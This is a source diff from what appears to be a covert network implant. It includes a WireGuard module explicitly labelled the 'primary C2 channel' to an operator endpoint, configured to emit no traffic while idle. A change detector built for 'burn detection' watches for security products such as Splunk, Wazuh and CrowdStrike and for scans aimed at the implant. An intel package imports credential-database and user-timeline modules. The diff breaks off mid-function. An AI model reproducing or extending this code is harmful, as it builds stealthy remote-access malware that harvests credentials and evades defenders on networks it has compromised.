if line.startswith("RSSI="):
|
||||
return int(line.split("=", 1)[1])
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError, ValueError):
|
||||
pass
|
||||
|
||||
# Fallback to /proc/net/wireless
|
||||
try:
|
||||
with open("/proc/net/wireless", "r") as f:
|
||||
for line in f:
|
||||
if self._interface in line:
|
||||
parts = line.split()
|
||||
if len(parts) >= 4:
|
||||
return int(float(parts[3]))
|
||||
except (IOError, ValueError, IndexError):
|
||||
pass
|
||||
|
||||
return None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Config generation
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _write_psk_config(self, ssid: str, psk: str) -> str:
|
||||
"""Write WPA2-PSK wpa_supplicant.conf."""
|
||||
config = (
|
||||
"ctrl_interface=/var/run/wpa_supplicant\n"
|
||||
"ctrl_interface_group=0\n"
|
||||
"update_config=0\n"
|
||||
"ap_scan=1\n"
|
||||
"\n"
|
||||
"network={\n"
|
||||
f' ssid="{ssid}"\n'
|
||||
f' psk="{psk}"\n'
|
||||
" key_mgmt=WPA-PSK\n"
|
||||
" proto=RSN\n"
|
||||
" pairwise=CCMP\n"
|
||||
" group=CCMP\n"
|
||||
"}\n"
|
||||
)
|
||||
return self._write_config_file(config)
|
||||
|
||||
def _write_enterprise_config(self, ssid: str, eap_method: str,
|
||||
identity: str, password: str,
|
||||
ca_cert: str = None,
|
||||
client_cert: str = None,
|
||||
private_key: str = None,
|
||||
phase2: str = "auth=MSCHAPV2") -> str:
|
||||
"""Write WPA2-Enterprise wpa_supplicant.conf (PEAP or EAP-TLS)."""
|
||||
config = (
|
||||
"ctrl_interface=/var/run/wpa_supplicant\n"
|
||||
"ctrl_interface_group=0\n"
|
||||
"update_config=0\n"
|
||||
"ap_scan=1\n"
|
||||
"\n"
|
||||
"network={\n"
|
||||
f' ssid="{ssid}"\n'
|
||||
" key_mgmt=WPA-EAP\n"
|
||||
f' eap={eap_method}\n'
|
||||
f' identity="{identity}"\n'
|
||||
)
|
||||
|
||||
if eap_method.upper() == "PEAP":
|
||||
config += f' password="{password}"\n'
|
||||
config += f' phase2="{phase2}"\n'
|
||||
if ca_cert:
|
||||
config += f' ca_cert="{ca_cert}"\n'
|
||||
elif eap_method.upper() == "TLS":
|
||||
if ca_cert:
|
||||
config += f' ca_cert="{ca_cert}"\n'
|
||||
if client_cert:
|
||||
config += f' client_cert="{client_cert}"\n'
|
||||
if private_key:
|
||||
config += f' private_key="{private_key}"\n'
|
||||
|
||||
config += "}\n"
|
||||
return self._write_config_file(config)
|
||||
|
||||
def _write_config_file(self, content: str) -> str:
|
||||
"""Write config to tmpfs and return path."""
|
||||
tmpdir = "/dev/shm" if os.path.isdir("/dev/shm") else tempfile.gettempdir()
|
||||
config_path = os.path.join(tmpdir, f".wpa_{self._interface}.conf")
|
||||
|
||||
fd = os.open(config_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
|
||||
try:
|
||||
os.write(fd, content.encode())
|
||||
finally:
|
||||
os.close(fd)
|
||||
|
||||
return config_path
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Helpers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _wait_for_connection(self, timeout: int = CONNECT_TIMEOUT) -> bool:
|
||||
"""Wait for wpa_supplicant to complete association."""
|
||||
deadline = time.time() + timeout
|
||||
while time.time() < deadline:
|
||||
if self.is_connected():
|
||||
# Request DHCP lease
|
||||
self._request_dhcp()
|
||||
return True
|
||||
time.sleep(1.0)
|
||||
|
||||
logger.warning("WiFi connection timed out after %ds", timeout)
|
||||
return False
|
||||
|
||||
def _request_dhcp(self) -> None:
|
||||
"""Request a DHCP lease on the WiFi interface."""
|
||||
try:
|
||||
subprocess.run(
|
||||
["dhclient", "-1", "-nw", self._interface],
|
||||
capture_output=True, timeout=15,
|
||||
)
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
|
||||
logger.debug("dhclient not available, trying dhcpcd")
|
||||
try:
|
||||
subprocess.run(
|
||||
["dhcpcd", "-1", self._interface],
|
||||
capture_output=True, timeout=15,
|
||||
)
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
|
||||
logger.warning("No DHCP client available for %s", self._interface)
|
||||
|
||||
def _kill_existing_wpa(self) -> None:
|
||||
"""Kill any existing wpa_supplicant on our interface."""
|
||||
pid_file = f"/var/run/wpa_supplicant_{self._interface}.pid"
|
||||
if os.path.isfile(pid_file):
|
||||
try:
|
||||
pid = int(open(pid_file).read().strip())
|
||||
os.kill(pid, 15) # SIGTERM
|
||||
time.sleep(0.5)
|
||||
except (ValueError, ProcessLookupError, PermissionError, IOError):
|
||||
pass
|
||||
|
||||
# Also kill by interface match
|
||||
try:
|
||||
subprocess.run(
|
||||
["pkill", "-f", f"wpa_supplicant.*{self._interface}"],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
|
||||
pass
|
||||
|
||||
time.sleep(0.5)
|
||||
|
||||
def _scan_iw(self) -> list:
|
||||
"""Fallback scan using iw command."""
|
||||
networks = []
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["iw", "dev", self._interface, "scan", "-u"],
|
||||
capture_output=True, text=True, timeout=15,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
return networks
|
||||
|
||||
current = {}
|
||||
for line in result.stdout.splitlines():
|
||||
line = line.strip()
|
||||
if line.startswith("BSS "):
|
||||
if current:
|
||||
networks.append(current)
|
||||
bssid = line.split()[1].split("(")[0]
|
||||
current = {"bssid": bssid, "ssid": "", "signal": 0, "frequency": 0}
|
||||
elif line.startswith("SSID:"):
|
||||
current["ssid"] = line.split(":", 1)[1].strip()
|
||||
elif line.startswith("signal:"):
|
||||
try:
|
||||
current["signal"] = int(float(line.split(":")[1].strip().split()[0]))
|
||||
except (ValueError, IndexError):
|
||||
pass
|
||||
elif line.startswith("freq:"):
|
||||
try:
|
||||
current["frequency"] = int(line.split(":")[1].strip())
|
||||
except (ValueError, IndexError):
|
||||
pass
|
||||
|
||||
if current:
|
||||
networks.append(current)
|
||||
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
pass
|
||||
|
||||
return networks
|
||||
@@ -0,0 +1,284 @@
|
||||
#!/usr/bin/env python3
|
||||
"""WireGuard module — primary C2 channel.
|
||||
|
||||
Self-hosted WireGuard tunnel to operator endpoint. PersistentKeepalive = 0
|
||||
means the tunnel generates ZERO traffic when idle — no beacons, no heartbeats,
|
||||
no coordination servers. The tunnel activates instantly when the operator
|
||||
sends a packet.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import tempfile
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
WG_INTERFACE = "wg0"
|
||||
HEALTH_CHECK_TIMEOUT = 5 # seconds
|
||||
|
||||
|
||||
class WireGuard(BaseModule):
|
||||
"""Primary C2 — WireGuard tunnel to operator's self-hosted endpoint."""
|
||||
|
||||
name = "wireguard"
|
||||
module_type = "connectivity"
|
||||
priority = -200
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._interface = WG_INTERFACE
|
||||
self._config_path: Optional[str] = None
|
||||
self._endpoint: Optional[str] = None
|
||||
self._peer_allowed_ips: Optional[str] = None
|
||||
self._connected = False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
wg_cfg = self.config.get("connectivity", {}).get("wireguard", {})
|
||||
if not wg_cfg:
|
||||
logger.error("No wireguard config in bigbrother.yaml")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
self._endpoint = wg_cfg.get("endpoint")
|
||||
private_key_file = wg_cfg.get("private_key_file")
|
||||
peer_public_key = wg_cfg.get("peer_public_key")
|
||||
self._peer_allowed_ips = wg_cfg.get("allowed_ips", "0.0.0.0/0")
|
||||
listen_port = wg_cfg.get("listen_port", 51820)
|
||||
address = wg_cfg.get("address", "10.0.0.2/24")
|
||||
|
||||
if not all([self._endpoint, private_key_file, peer_public_key]):
|
||||
logger.error("wireguard config missing required fields: endpoint, "
|
||||
"private_key_file, peer_public_key")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# Read private key
|
||||
try:
|
||||
private_key = Path(private_key_file).read_text().strip()
|
||||
except (OSError, IOError) as exc:
|
||||
logger.error("Cannot read WireGuard private key: %s", exc)
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# Write transient WireGuard config
|
||||
self._config_path = self._write_config(
|
||||
private_key=private_key,
|
||||
address=address,
|
||||
listen_port=listen_port,
|
||||
peer_public_key=peer_public_key,
|
||||
endpoint=self._endpoint,
|
||||
allowed_ips=self._peer_allowed_ips,
|
||||
)
|
||||
|
||||
if not self.up():
|
||||
logger.error("Failed to bring up WireGuard interface")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self._connected = True
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("CONNECTIVITY_CHANGED",
|
||||
{"module": self.name, "state": "up",
|
||||
"endpoint": self._endpoint},
|
||||
source_module=self.name)
|
||||
logger.info("WireGuard tunnel up — endpoint %s", self._endpoint)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
self.down()
|
||||
self._running = False
|
||||
self._connected = False
|
||||
|
||||
# Cleanup transient config
|
||||
if self._config_path and os.path.isfile(self._config_path):
|
||||
try:
|
||||
os.unlink(self._config_path)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("CONNECTIVITY_CHANGED",
|
||||
{"module": self.name, "state": "down"},
|
||||
source_module=self.name)
|
||||
logger.info("WireGuard tunnel down")
|
||||
|
||||
def status(self) -> dict:
|
||||
connected = self.is_connected()
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"connected": connected,
|
||||
"endpoint": self._endpoint,
|
||||
"interface": self._interface,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
def health_check(self) -> bool:
|
||||
if not self._running:
|
||||
return False
|
||||
return self.is_connected()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# WireGuard operations
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def up(self) -> bool:
|
||||
"""Create wg interface, apply config, bring up."""
|
||||
try:
|
||||
# Add WireGuard interface
|
||||
subprocess.run(
|
||||
["ip", "link", "add", "dev", self._interface, "type", "wireguard"],
|
||||
check=True, capture_output=True, timeout=10,
|
||||
)
|
||||
except subprocess.CalledProcessError:
|
||||
# Interface may already exist — try to continue
|
||||
logger.debug("Interface %s may already exist, continuing", self._interface)
|
||||
|
||||
try:
|
||||
# Apply WireGuard config
|
||||
subprocess.run(
|
||||
["wg", "setconf", self._interface, self._config_path],
|
||||
check=True, capture_output=True, timeout=10,
|
||||
)
|
||||
|
||||
# Assign address from config
|
||||
wg_cfg = self.config.get("connectivity", {}).get("wireguard", {})
|
||||
address = wg_cfg.get("address", "10.0.0.2/24")
|
||||
subprocess.run(
|
||||
["ip", "addr", "add", address, "dev", self._interface],
|
||||
check=True, capture_output=True, timeout=10,
|
||||
)
|
||||
|
||||
# Bring interface up
|
||||
subprocess.run(
|
||||
["ip", "link", "set", "up", "dev", self._interface],
|
||||
check=True, capture_output=True, timeout=10,
|
||||
)
|
||||
|
||||
logger.info("WireGuard interface %s is up", self._interface)
|
||||
return True
|
||||
|
||||
except subprocess.CalledProcessError as exc:
|
||||
logger.error("Failed to configure WireGuard: %s", exc.stderr.decode(errors='replace'))
|
||||
self._cleanup_interface()
|
||||
return False
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.error("WireGuard command timed out")
|
||||
self._cleanup_interface()
|
||||
return False
|
||||
|
||||
def down(self) -> bool:
|
||||
"""Bring down and remove wg interface."""
|
||||
try:
|
||||
subprocess.run(
|
||||
["ip", "link", "set", "down", "dev", self._interface],
|
||||
capture_output=True, timeout=10,
|
||||
)
|
||||
subprocess.run(
|
||||
["ip", "link", "del", "dev", self._interface],
|
||||
capture_output=True, timeout=10,
|
||||
)
|
||||
logger.info("WireGuard interface %s removed", self._interface)
|
||||
return True
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as exc:
|
||||
logger.warning("Error tearing down WireGuard: %s", exc)
|
||||
return False
|
||||
|
||||
def is_connected(self) -> bool:
|
||||
"""Check if WireGuard tunnel is active by pinging peer through tunnel."""
|
||||
if not self._running:
|
||||
return False
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["wg", "show", self._interface, "latest-handshakes"],
|
||||
capture_output=True, text=True, timeout=5,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
return False
|
||||
|
||||
# Parse latest handshake timestamp — if it's 0 or missing, no peer
|
||||
for line in result.stdout.strip().splitlines():
|
||||
parts = line.split()
|
||||
if len(parts) >= 2:
|
||||
ts = int(parts[1])
|
||||
if ts > 0:
|
||||
# Handshake occurred — tunnel is alive
|
||||
return True
|
||||
# No handshake yet is OK — PersistentKeepalive=0 means tunnel is
|
||||
# dormant until operator connects. Interface being up is sufficient.
|
||||
iface_check = subprocess.run(
|
||||
["ip", "link", "show", self._interface],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
return iface_check.returncode == 0
|
||||
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, ValueError):
|
||||
return False
|
||||
|
||||
def get_endpoint(self) -> Optional[str]:
|
||||
"""Return the configured endpoint address."""
|
||||
return self._endpoint
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal helpers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _write_config(self, private_key: str, address: str, listen_port: int,
|
||||
peer_public_key: str, endpoint: str,
|
||||
allowed_ips: str) -> str:
|
||||
"""Write a transient WireGuard config file and return its path."""
|
||||
config_content = (
|
||||
f"[Interface]\n"
|
||||
f"PrivateKey = {private_key}\n"
|
||||
f"ListenPort = {listen_port}\n"
|
||||
f"\n"
|
||||
f"[Peer]\n"
|
||||
f"PublicKey = {peer_public_key}\n"
|
||||
f"Endpoint = {endpoint}\n"
|
||||
f"AllowedIPs = {allowed_ips}\n"
|
||||
f"PersistentKeepalive = 0\n"
|
||||
)
|
||||
|
||||
# Write to tmpfs if available, else /tmp
|
||||
tmpdir = "/dev/shm" if os.path.isdir("/dev/shm") else tempfile.gettempdir()
|
||||
config_path = os.path.join(tmpdir, f".wg_{self._interface}.conf")
|
||||
|
||||
fd = os.open(config_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
|
||||
try:
|
||||
os.write(fd, config_content.encode())
|
||||
finally:
|
||||
os.close(fd)
|
||||
|
||||
return config_path
|
||||
|
||||
def _cleanup_interface(self) -> None:
|
||||
"""Best-effort cleanup of a partially-created interface."""
|
||||
try:
|
||||
subprocess.run(["ip", "link", "del", "dev", self._interface],
|
||||
capture_output=True, timeout=5)
|
||||
except Exception:
|
||||
pass
|
||||
@@ -0,0 +1,23 @@
|
||||
"""SystemMonitor intelligence modules — on-device analysis and data aggregation."""
|
||||
|
||||
from modules.intel.credential_db import CredentialDB
|
||||
from modules.intel.topology_mapper import TopologyMapper
|
||||
from modules.intel.net_intel import NetIntel
|
||||
from modules.intel.user_timeline import UserTimeline
|
||||
from modules.intel.supply_chain_detect import SupplyChainDetect
|
||||
from modules.intel.change_detector import ChangeDetector
|
||||
from modules.intel.security_posture import SecurityPosture
|
||||
from modules.intel.operator_audit import OperatorAudit
|
||||
from modules.intel.tool_output_parser import ToolOutputParser
|
||||
|
||||
__all__ = [
|
||||
"CredentialDB",
|
||||
"TopologyMapper",
|
||||
"NetIntel",
|
||||
"UserTimeline",
|
||||
"SupplyChainDetect",
|
||||
"ChangeDetector",
|
||||
"SecurityPosture",
|
||||
"OperatorAudit",
|
||||
"ToolOutputParser",
|
||||
]
|
||||
@@ -0,0 +1,607 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Network change detection — continuous diff against baseline state.
|
||||
|
||||
Critical for BURN DETECTION. Alerts on new hosts, disappeared hosts,
|
||||
new services, new open ports, security tool traffic, scan activity
|
||||
targeting the implant subnet, and unusual auth patterns.
|
||||
|
||||
Publishes CHANGE_DETECTED events with severity levels.
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import sqlite3
|
||||
import threading
|
||||
import time
|
||||
from collections import defaultdict
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.credential_encryption import emit_credential_found
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
_SCHEMA = """
|
||||
CREATE TABLE IF NOT EXISTS changes (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
timestamp REAL NOT NULL,
|
||||
change_type TEXT NOT NULL,
|
||||
severity TEXT NOT NULL DEFAULT 'info',
|
||||
description TEXT NOT NULL,
|
||||
old_value TEXT DEFAULT '',
|
||||
new_value TEXT DEFAULT '',
|
||||
target_ip TEXT DEFAULT '',
|
||||
acknowledged INTEGER DEFAULT 0
|
||||
);
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_changes_ts ON changes(timestamp);
|
||||
CREATE INDEX IF NOT EXISTS idx_changes_sev ON changes(severity);
|
||||
CREATE INDEX IF NOT EXISTS idx_changes_type ON changes(change_type);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS baseline_hosts (
|
||||
ip TEXT PRIMARY KEY,
|
||||
hostname TEXT DEFAULT '',
|
||||
mac TEXT DEFAULT '',
|
||||
os_family TEXT DEFAULT '',
|
||||
open_ports TEXT DEFAULT '[]',
|
||||
services TEXT DEFAULT '[]',
|
||||
first_seen REAL NOT NULL,
|
||||
last_seen REAL NOT NULL
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS baseline_services (
|
||||
ip TEXT NOT NULL,
|
||||
port INTEGER NOT NULL,
|
||||
protocol TEXT DEFAULT 'tcp',
|
||||
service TEXT DEFAULT '',
|
||||
banner TEXT DEFAULT '',
|
||||
first_seen REAL NOT NULL,
|
||||
PRIMARY KEY (ip, port, protocol)
|
||||
);
|
||||
"""
|
||||
|
||||
# Change types and their default severity
|
||||
_CHANGE_SEVERITY = {
|
||||
"new_host": "info",
|
||||
"host_disappeared": "warning",
|
||||
"new_service": "info",
|
||||
"new_port": "info",
|
||||
"service_disappeared": "info",
|
||||
"security_tool_traffic": "critical",
|
||||
"scan_detected": "critical",
|
||||
"unusual_auth": "warning",
|
||||
"mac_change": "warning",
|
||||
"os_change": "warning",
|
||||
"mass_port_scan": "critical",
|
||||
"arp_anomaly": "critical",
|
||||
}
|
||||
|
||||
# Ports/services that indicate security tool deployment
|
||||
_SECURITY_TOOL_PORTS = {
|
||||
8088: "splunk_hec",
|
||||
8089: "splunk_mgmt",
|
||||
9997: "splunk_forwarder",
|
||||
1514: "wazuh_agent",
|
||||
1515: "wazuh_enrollment",
|
||||
55000: "wazuh_api",
|
||||
514: "syslog",
|
||||
6514: "syslog_tls",
|
||||
443: None, # too generic, needs hostname corroboration
|
||||
}
|
||||
|
||||
# DNS patterns suggesting security tool investigation
|
||||
_SECURITY_DNS_PATTERNS = (
|
||||
"nessus", "qualys", "rapid7", "tenable", "crowdstrike",
|
||||
"sentinelone", "carbonblack", "cybereason", "sophos",
|
||||
"defender", "wireshark", "zeek", "suricata", "snort",
|
||||
)
|
||||
|
||||
# Scan detection: many ports from a single source in short time
|
||||
_SCAN_THRESHOLD_PORTS = 50 # ports in window = scan
|
||||
_SCAN_THRESHOLD_WINDOW = 60.0 # seconds
|
||||
|
||||
|
||||
class ChangeDetector(BaseModule):
|
||||
"""Detect network changes against baseline — critical for burn detection."""
|
||||
|
||||
name = "change_detector"
|
||||
module_type = "intel"
|
||||
priority = 50 # Critical priority
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._db_path = ""
|
||||
self._conn: Optional[sqlite3.Connection] = None
|
||||
self._lock = threading.Lock()
|
||||
self._monitor_thread: Optional[threading.Thread] = None
|
||||
self._baseline_built = False
|
||||
self._change_count = 0
|
||||
|
||||
# Scan detection tracking: source_ip -> [(timestamp, dst_port)]
|
||||
self._port_attempts: dict[str, list] = defaultdict(list)
|
||||
|
||||
# Our implant's IPs for self-protection monitoring
|
||||
self._implant_ips: set = set()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||
self._db_path = os.path.join(base_dir, "change_detector.db")
|
||||
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
|
||||
|
||||
self._conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
||||
self._conn.execute("PRAGMA journal_mode=WAL")
|
||||
self._conn.execute("PRAGMA synchronous=NORMAL")
|
||||
self._conn.row_factory = sqlite3.Row
|
||||
self._conn.executescript(_SCHEMA)
|
||||
|
||||
# Load implant IPs from config
|
||||
self._implant_ips = set(self.config.get("implant_ips", []))
|
||||
|
||||
# Check if baseline exists
|
||||
row = self._conn.execute("SELECT COUNT(*) FROM baseline_hosts").fetchone()
|
||||
self._baseline_built = row[0] > 0
|
||||
|
||||
# Subscribe to events
|
||||
self.bus.subscribe(self._on_host_discovered, "HOST_DISCOVERED")
|
||||
self.bus.subscribe(self._on_credential_found, "CREDENTIAL_FOUND")
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
# Monitor thread for periodic diffing
|
||||
self._monitor_thread = threading.Thread(
|
||||
target=self._monitor_loop, daemon=True,
|
||||
name="sensor-change-detector",
|
||||
)
|
||||
self._monitor_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info(
|
||||
"ChangeDetector started — baseline=%s, db=%s",
|
||||
"loaded" if self._baseline_built else "empty", self._db_path,
|
||||
)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
|
||||
self.bus.unsubscribe(self._on_host_discovered, "HOST_DISCOVERED")
|
||||
self.bus.unsubscribe(self._on_credential_found, "CREDENTIAL_FOUND")
|
||||
|
||||
if self._conn:
|
||||
self._conn.close()
|
||||
self._conn = None
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("ChangeDetector stopped — %d changes recorded", self._change_count)
|
||||
|
||||
def status(self) -> dict:
|
||||
change_count = 0
|
||||
critical_count = 0
|
||||
if self._conn:
|
||||
try:
|
||||
with self._lock:
|
||||
row = self._conn.execute(
|
||||
"SELECT COUNT(*) FROM changes"
|
||||
).fetchone()
|
||||
change_count = row[0] if row else 0
|
||||
row = self._conn.execute(
|
||||
"SELECT COUNT(*) FROM changes WHERE severity='critical'"
|
||||
).fetchone()
|
||||
critical_count = row[0] if row else 0
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"baseline_built": self._baseline_built,
|
||||
"total_changes": change_count,
|
||||
"critical_changes": critical_count,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
self._implant_ips = set(config.get("implant_ips", self._implant_ips))
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Baseline management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def build_baseline(self) -> int:
|
||||
"""Snapshot current known hosts and services as the baseline.
|
||||
|
||||
Returns:
|
||||
Number of hosts in the baseline.
|
||||
"""
|
||||
hosts_json = self.state.get("host_discovery", "discovered_hosts")
|
||||
if not hosts_json:
|
||||
logger.warning("No host discovery data available for baseline")
|
||||
return 0
|
||||
|
||||
try:
|
||||
hosts = json.loads(hosts_json)
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
return 0
|
||||
|
||||
with self._lock:
|
||||
# Clear existing baseline
|
||||
self._conn.execute("DELETE FROM baseline_hosts")
|
||||
self._conn.execute("DELETE FROM baseline_services")
|
||||
|
||||
now = time.time()
|
||||
for host in hosts:
|
||||
ip = host.get("ip", "")
|
||||
if not ip:
|
||||
continue
|
||||
|
||||
ports = host.get("open_ports", [])
|
||||
services = host.get("services", [])
|
||||
|
||||
self._conn.execute(
|
||||
"""INSERT OR REPLACE INTO baseline_hosts
|
||||
(ip, hostname, mac, os_family, open_ports, services,
|
||||
first_seen, last_seen)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?)""",
|
||||
(ip, host.get("hostname", ""), host.get("mac", ""),
|
||||
host.get("os_family", ""), json.dumps(ports),
|
||||
json.dumps(services), now, now),
|
||||
)
|
||||
|
||||
for port in ports:
|
||||
self._conn.execute(
|
||||
"""INSERT OR REPLACE INTO baseline_services
|
||||
(ip, port, protocol, service, first_seen)
|
||||
VALUES (?, ?, 'tcp', '', ?)""",
|
||||
(ip, port, now),
|
||||
)
|
||||
|
||||
self._conn.commit()
|
||||
self._baseline_built = True
|
||||
|
||||
count = len(hosts)
|
||||
logger.info("Baseline built with %d hosts", count)
|
||||
return count
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Event handlers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _on_host_discovered(self, event) -> None:
|
||||
"""Check a newly discovered host against baseline."""
|
||||
if not self._baseline_built:
|
||||
return
|
||||
|
||||
p = event.payload
|
||||
ip = p.get("ip", "")
|
||||
if not ip:
|
||||
return
|
||||
|
||||
with self._lock:
|
||||
# Check if host is in baseline
|
||||
row = self._conn.execute(
|
||||
"SELECT * FROM baseline_hosts WHERE ip = ?", (ip,)
|
||||
).fetchone()
|
||||
|
||||
if not row:
|
||||
# NEW HOST
|
||||
self._record_change(
|
||||
change_type="new_host",
|
||||
description=f"New host discovered: {ip} "
|
||||
f"(hostname={p.get('hostname', '')}, "
|
||||
f"mac={p.get('mac', '')})",
|
||||
new_value=json.dumps(p),
|
||||
target_ip=ip,
|
||||
)
|
||||
else:
|
||||
# Existing host — check for changes
|
||||
baseline_mac = row["mac"]
|
||||
new_mac = p.get("mac", "")
|
||||
if baseline_mac and new_mac and baseline_mac != new_mac:
|
||||
self._record_change(
|
||||
change_type="mac_change",
|
||||
description=f"MAC changed on {ip}: "
|
||||
f"{baseline_mac} -> {new_mac}",
|
||||
old_value=baseline_mac,
|
||||
new_value=new_mac,
|
||||
target_ip=ip,
|
||||
severity="warning",
|
||||
)
|
||||
|
||||
baseline_os = row["os_family"]
|
||||
new_os = p.get("os_family", "")
|
||||
if baseline_os and new_os and baseline_os != new_os:
|
||||
self._record_change(
|
||||
change_type="os_change",
|
||||
description=f"OS changed on {ip}: "
|
||||
f"{baseline_os} -> {new_os}",
|
||||
old_value=baseline_os,
|
||||
new_value=new_os,
|
||||
target_ip=ip,
|
||||
)
|
||||
|
||||
# Check for new ports
|
||||
try:
|
||||
baseline_ports = set(json.loads(row["open_ports"]))
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
baseline_ports = set()
|
||||
|
||||
new_ports = set(p.get("open_ports", []))
|
||||
added_ports = new_ports - baseline_ports
|
||||
|
||||
for port in added_ports:
|
||||
sev = "info"
|
||||
desc = f"New port {port} on {ip}"
|
||||
|
||||
# Check if it's a security tool port
|
||||
if port in _SECURITY_TOOL_PORTS:
|
||||
tool = _SECURITY_TOOL_PORTS[port]
|
||||
if tool:
|
||||
sev = "critical"
|
||||
desc = f"SECURITY TOOL: {tool} port {port} on {ip}"
|
||||
|
||||
self._record_change(
|
||||
change_type="new_port",
|
||||
description=desc,
|
||||
new_value=str(port),
|
||||
target_ip=ip,
|
||||
severity=sev,
|
||||
)
|
||||
|
||||
def _on_credential_found(self, event) -> None:
|
||||
"""Monitor for unusual authentication patterns."""
|
||||
p = event.payload
|
||||
from utils.credential_encryption import decrypt_credential_payload
|
||||
p = decrypt_credential_payload(p)
|
||||
# Track rapid auth failures from unknown sources as investigation indicator
|
||||
if p.get("cred_type") == "auth_failure":
|
||||
src = p.get("source_ip", "")
|
||||
target = p.get("target_ip", "")
|
||||
self._record_change(
|
||||
change_type="unusual_auth",
|
||||
description=f"Auth failure: {src} -> {target} "
|
||||
f"(user={p.get('username', '')})",
|
||||
target_ip=target,
|
||||
severity="warning",
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Connection / scan monitoring
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def ingest_connection_attempt(self, src_ip: str, dst_ip: str,
|
||||
dst_port: int, timestamp: float = None) -> None:
|
||||
"""Track connection attempts for scan detection.
|
||||
|
||||
Called by passive modules watching network traffic.
|
||||
"""
|
||||
ts = timestamp or time.time()
|
||||
|
||||
# Check for scans targeting our implant
|
||||
if dst_ip in self._implant_ips:
|
||||
self._record_change(
|
||||
change_type="scan_detected",
|
||||
